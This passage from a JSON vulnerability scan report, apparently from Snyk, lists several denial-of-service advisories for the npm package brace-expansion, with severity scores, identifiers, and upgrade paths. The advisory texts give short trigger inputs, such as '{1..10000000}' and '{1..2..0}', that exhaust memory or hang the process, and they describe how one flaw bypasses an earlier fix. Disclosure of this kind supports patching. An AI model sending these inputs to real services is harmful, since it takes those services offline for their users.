"alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], 